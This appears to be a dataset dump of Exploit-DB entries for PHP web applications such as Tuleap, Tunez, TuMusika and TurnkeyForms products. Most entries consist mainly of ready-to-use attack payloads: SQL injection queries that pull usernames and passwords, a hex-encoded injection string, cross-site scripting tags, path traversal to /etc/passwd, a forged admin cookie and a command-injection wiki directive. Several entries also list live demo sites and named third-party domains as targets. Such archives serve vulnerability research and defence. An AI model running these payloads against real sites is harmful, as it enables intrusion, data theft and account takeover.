deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34673
Description: Tukanas Classifieds 1.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-28
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43337/info

Tukanas Classifieds is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Tukanas Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/classifiedsscript/index.php?a=5&b=341+and+1=1 <= TRUE
http://www.example.com/classifiedsscript/index.php?a=5&b=341+and+1=2 <= FALSE
http://www.example.com/classifiedsscript/index.php?a=5&b=341+AND SUBSTRING(@@version,1,1)=5 <= TRUE
http://www.example.com/classifiedsscript/index.php?a=5&b=341+AND SUBSTRING(@@version,1,1)=4 <= FALSE
Exploit-DB #41953
Description: Tuleap Project Wiki 8.3 < 9.6.99.86 - Command Injection
Type: webapps
Platform: php
Date: 2017-05-01
Author: Ben Nott

Exploit:
# Tuleap - Command Injection in Project Wiki

**CVE:** CVE-2017-7981

**CVSSv3:** 9.4 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:U/RC:C)

**Versions affected:** >= 8.3 and <= 9.6.99.86

## Introduction

Tuleap is a Libre suite to plan, track, code and collaborate on software
projects. Tuleap helps development teams to build awesome applications,
better, faster, easier.

## Background

Tuleap uses PHPWiki as a plugin to provide a weak feature for
projects. The version of PHPWiki used is 1.3.10. This version contains a
command injection vulnerability in the SyntaxHighlighter plugin. Other
applications that use PHPWiki similar to Tuleap will also be affected
by this issue.

The latest version of PHPWiki is 1.5.5 and is no longer vulnerable to this issue.

## Vulnerability

Authenticated users, including unprivileged users, with access to a
project containing a wiki, can exploit this command injection
(CI) vulnerability to gain remote unauthorised access to the server
hosting the Tuleap web application.

RCE is achieved by entering a SyntaxHighlighter plugin directive in a
new wiki page on any wiki available in any project. The SyntaxHighligter
plugin in vulnerable versions of PHPWiki passes the `syntax` argument
to the `proc_open()` PHP builtin function which spawns a process in the
operating system running the web application.

The following is an example plugin directie which would cause the `id(1)`
command to be executed on a Linux server running an affected version
of Tuleap.

```
<?plugin SyntaxHighlighter syntax="c;id"
code to be highlighted
?>
```

The result of the command execution can be seen in the image below.

![command execution](2017.04.tuleap-auth-ci.command-exec.png)

## Versions Affected

This vulnerability has existed in the version of PHPWiki used by the
Tuleap project since at least version 8.3 through to 9.6.99.86.

## References

https://github.com/xdrr/vulnerability-research/blob/master/webapp/tuleap/2017.04.tuleap-auth-ci.md

https://tuleap.net/plugins/tracker/?aid=10159

## Credit

This vulnerability was discovered by Ben N (pajexali@gmail.com) 19
April 2017.
Exploit-DB #43866
Description: Tumder 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Tumder - An Arcade Games Platform 2.1 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://sndr.co.ve/
# Software Link: https://codecanyon.net/item/tumder-an-arcade-games-platform/18726994
# Version: 2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5984
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/category/[SQL]
# 
# %2d%33%20%20%2f%2a%21%30%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%31%31%31%31%41%4c%4c%2a%2f%20%2f%2a%21%30%31%31%31%31%53%45%4c%45%43%54%2a%2f%20%30%78%33%31%2c%30%78%33%32%2c%43%4f%4e%43%41%54%28%44%61%74%61%62%61%73%65%28%29%2c%56%45%52%53%49%4f%4e%28%29%2c%30%78%37%65%2c%44%41%54%41%42%41%53%45%28%29%2c%30%78%37%65%2c%55%53%45%52%28%29%29%2d%2d%20%2d
# 
# # # # #
Exploit-DB #29848
Description: TuMusika Evolution 1.6 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-12
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/23452/info

TuMusika Evolution is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects TuMusika Evolution 1.6; other versions may also be affected. 

http://www.example.com/[path]/index.php?msg=<script>alert(/the_Edit0r/);</script>
Exploit-DB #4674
Description: TuMusika Evolution 1.7R5 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-11-28
Author: GoLd_M

Exploit:
TuMusika Evolution 1.7R5 Remote File Disclosure Vulnerability
Script : http://sourceforge.net/project/platformdownload.php?group_id=186000
#################/frames/nogui/sc_download.php#################
<?
$file = $_GET['uri'] ;<---[xxx]
$title = $_GET['title'] ;
header('HTTP/1.1 200 OK');
header("content-type:audio/mp3");
header('Content-Disposition: attachment; filename="'.$title.'.mp3"' );  
readfile($file);<---[xxx]
?>
###############################################################
Exploit:
/Evolution1.7/frames/nogui/sc_download.php?uri=../../../../../../etc/passwd
###############################################################
TuMusika Evolution 1.7R5 Local File Inclusion Vulnerabiliies
POC:
/Evolution1.7/inc/languages_n.php?language=../../../../../../etc/passwd%00
/Evolution1.7/inc/languages_f.php?language=../../../../../../etc/passwd%00
/Evolution1.7/inc/languages.php?language=../../../../../../etc/passwd%00

# milw0rm.com [2007-11-28]
Exploit-DB #4876
Description: Tuned Studios Templates - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-09
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG08-001


Application:                    Tuned Studios Templates
Versions Affected:              All
Vendor URL:                     http:/www.tunedstudios.com
Bug:                            Local File Include
Exploits:                       YES
Reported:                       09.01.2008
Date of Public Advisory:        09.01.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Tuned Studios Templates has Local File Include vulnerability in page phpversion/index.php


Details
*******

Tuned Studios has many templates based on same php code.

Code
****

############################################
 //First check if $page exists
  //With the introduction of PHP 5 we have to capture the $page from the url.
  $page = $_GET['page'];

  if(isset($page) && $page != '')
  {
      //Check if the page $page exists
      if(file_exists($page.'.php'))
      {
           //Now we can include the page.
           include($page.'.php');
      }
      else
      {
           //Page can't be found, include the error file
           include('data/error404.data.php');
      }
  }
############################################

Example:

http://[server]/[installdir]/index.php?page=../../../../../../../[file]%00

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-01-09]
Exploit-DB #26566
Description: Tunez 1.21 - 'search.php?searchFor' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15548/info
 
Tunez is prone to multiple input validation vulnerabilities.
 
The application is affected by an SQL injection vulnerability and a cross-site scripting issue.
 
Successful exploitation of the SQL injection issue could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
The cross-site scripting issue may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/tunez/search.php?action=doSearch&searchFor=[code]&search_type=all
Exploit-DB #26565
Description: Tunez 1.21 - 'songinfo.php?song_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15548/info

Tunez is prone to multiple input validation vulnerabilities.

The application is affected by an SQL injection vulnerability and a cross-site scripting issue.

Successful exploitation of the SQL injection issue could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

The cross-site scripting issue may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/tunez/songinfo.php?song_id=[sql]
Exploit-DB #7256
Description: Turnkey Arcade Script - SQL Injection (1)
Type: webapps
Platform: php
Date: 2008-11-27
Author: The_5p3ctrum

Exploit:
----------------Mor0ccan Nightmares----------------

------------------------------
Script: Turnkey Arcade Script-
------------------------------

-----------------------------------
Site: http://www.turnkeyarcade.com-
-----------------------------------

-----------------------------------------------------------
Author: The_5p3ctrum <sp3@linuxmail.org> <5p@linuxmail.org>-
-----------------------------------------------------------


-----------------------------------------------------------------------
Business Turnkey Arcade Script (index.php id) Remote SQL Vulnerability-
-----------------------------------------------------------------------
---
Ex:
---

http://localhost/index.php?action=play&id=[sql]
http://localhost/index.php?action=play&id=-1+union+select+1,2,3,4,5,version(),7,8,9,10,11,12 from users

--------
exploit:
--------

http://localhost/index.php?action=play&id=-21+union+select+1,2,3,username,5,password,7,8,9,10,11,12 from users

-----
Demo:
-----

http://www.turnkeyarcade.com/demo/index.php?action=play&id=-21+union+select+1,2,3,username,5,password,7,8,9,10,11,12+from+users

-------
Greetz:
-------

Bayhay - Cyber-Zone - Drackanz - The_leo - The_Casper - Milw0rm and all my friends...

# milw0rm.com [2008-11-27]
Exploit-DB #9511
Description: Turnkey Arcade Script - SQL Injection (2)
Type: webapps
Platform: php
Date: 2009-08-25
Author: Red-D3v1L

Exploit:
==============================================================================
  ##  Hackteach.OrG ##
             

/ ___   )(  __   )/ ___   )
\/   )  || (  )  |\/   )  |
    /   )| | /   |    /   )
   /   / | (/ /) |   /   / 
  /   /  |   / | |  /   /  
 /   (_/\|  (__) | /   (_/\
(_______/(_______)(_______/
       
==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»]  Arcad site Script <== Remote SQL Injection Vulnerability
==============================================================================
    [Â»] my home:             [ Hackteach.org ]
    [Â»] Script:              [ Arcad site Script ]
    [Â»] Language:            [ PHP ]
    [Â»] Download:            [ http://www.turnkeyarcade.com/ ]
    [Â»] Founder:             [ Red-D3v1L < php-c0de@hotmail.com > ]
    [Â»] Gr44tz to:           [ All member Hackteach.org/cc - Str0ke - sp3x ]
    [Â»] Fuck To :            [ Anti-trust << Big Big Big Lamer << ]
########################################################################

===[ Exploit SQL ]===  

    [Â»] Path/index.php?action=browse&id=-7+union+select+1,2,concat(password,0x3e,username),4+from+users--


    [Â»] L1v3 d3m0 : http://www.turnkeyarcade.com/demo/index.php?action=browse&id=-7+union+select+1,2,concat(password,0x3e,username),4+from+users--

Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-25]
Exploit-DB #32880
Description: Turnkey eBook Store 1.1 - 'keywords' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-31
Author: TEAMELITE

Exploit:
source: https://www.securityfocus.com/bid/34324/info

Turnkey eBook Store is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Turnkey eBook Store 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?cmd=search&keywords="><script>alert('XSS')</script>
http://www.example.com/index.php?cmd=search&keywords=<META HTTP-EQUIV="refresh" content="0; URL=http://www.example2.net">
Exploit-DB #7118
Description: TurnkeyForms - Text Link Sales Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-14
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	Turnkeyforms Text Link Sales Auth Bypass Vulnerability
==============================================================================

	[Â»] Script:             [ Turnkeyforms Text Link Sales ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.turnkeyforms.com/text-link-sales.html ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 13.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ DTLZ ]===
	
	[!] here we go...
	[Â»]	http://localhost/[paht]/admin.php

	
	
===[ LIVE ]===

	[Â»] http://demo.turnkeyforms.com/textlinkads/admin.php
	
	
	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-14]
Exploit-DB #7029
Description: TurnkeyForms Business Survey Pro 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-07
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	Business Survey Pro 1.0 (survey_results_text.php id) Remote SQL Vulnerability
==============================================================================

	[Â»] Script:             [ Business Survey Pro 1.0 ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.turnkeyforms.com/business-survey-pro.html ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 06/11/2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

	[Â»] http://localhost/[path]/survey_results_text.php?id=-6/**/UNION/**/ALL/**/SELECT/**/1,2,concat(user(),0x3a,version()),4,5--


===[ LIVE ]===

	[Â»] http://business-survey-pro.demo.turnkeyforms.com/survey_results_text.php?id=-6/**/UNION/**/ALL/**/SELECT/**/1,2,concat(user(),0x3a,version()),4,5--



	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit(); //EoX
===============================================================================

# milw0rm.com [2008-11-07]
Exploit-DB #7028
Description: TurnkeyForms Entertainment Portal 2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-07
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	 Entertainment Portal v2.0 Insecure Cookie Handling Vulnerability
==============================================================================

	[Â»] Script:             [ Entertainment Portal v2.0 ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.turnkeyforms.com/entertainment-portal.html ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 06.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

	 Admin-Panel:	http://localhost/[path]/admin/
	
	[Â»] javascript:document.cookie = "adminLogged=Administrator";



===[ LIVE ]===

	[Â»] http://mediacms.demo.turnkeyforms.com/admin/



	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit(); //EoX
===============================================================================

# milw0rm.com [2008-11-07]
Exploit-DB #7106
Description: TurnkeyForms Local Classifieds - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-12
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	Turnkeyforms Local Classifieds Auth Bypass Vulnerability
==============================================================================

	[Â»] Script:             [ Turnkeyforms Local Classifieds ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.turnkeyforms.com/local-classifieds.html ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 12.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ DTLZ ]===
	
	[!] here we go...
	[Â»]	http://localhost/[paht]/classifieds/Site_Admin/admin.php

	
	
===[ LIVE ]===

	[Â»] http://demo.turnkeyforms.com/localclassifieds/classifieds/Site_Admin/admin.php
	[Â»] http://petoskeyads.com/classifieds/Site_Admin/admin.php
	[Â»] http://havasufreeads.com/classifieds/Site_Admin/admin.php

	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-12]
Exploit-DB #7035
Description: TurnkeyForms Local Classifieds - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-11-07
Author: TR-ShaRk

Exploit:
##################################################################
#
#   Author: TR-ShaRk
#
######################
#
#   Web   : StarHack.Us OldKral.Com
#
######################
#
#   Emai   : Admin@tr-shark.org
#
######################
#
#   Script : Local Classifieds Turnkeyforms
#
######################
#
#   SQL Injection Vuln. :
#
#   listtest.php?r=-39+union+select+1,@@version--
#
#   Xss:
#
#   listtest.php?r="><script>alert(document.cookie)</script>
#
######################
#
#   Demo:
#
#
# http://demo.turnkeyforms.com/localclassifieds/listtest.php?r="><script>alert(document.cookie)</script>
# http://demo.turnkeyforms.com/localclassifieds/listtest.php?r=-39+union+select+1,@@version--
#
######################

# milw0rm.com [2008-11-07]